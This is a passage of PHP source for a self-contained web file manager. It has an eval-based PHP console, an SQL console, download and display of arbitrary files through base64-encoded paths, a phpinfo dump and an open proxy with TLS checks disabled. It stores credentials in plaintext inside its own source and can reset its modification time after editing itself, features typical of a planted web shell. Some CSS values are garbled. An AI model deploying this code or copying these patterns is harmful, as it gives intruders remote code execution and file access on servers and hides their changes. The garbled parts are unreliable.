		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+A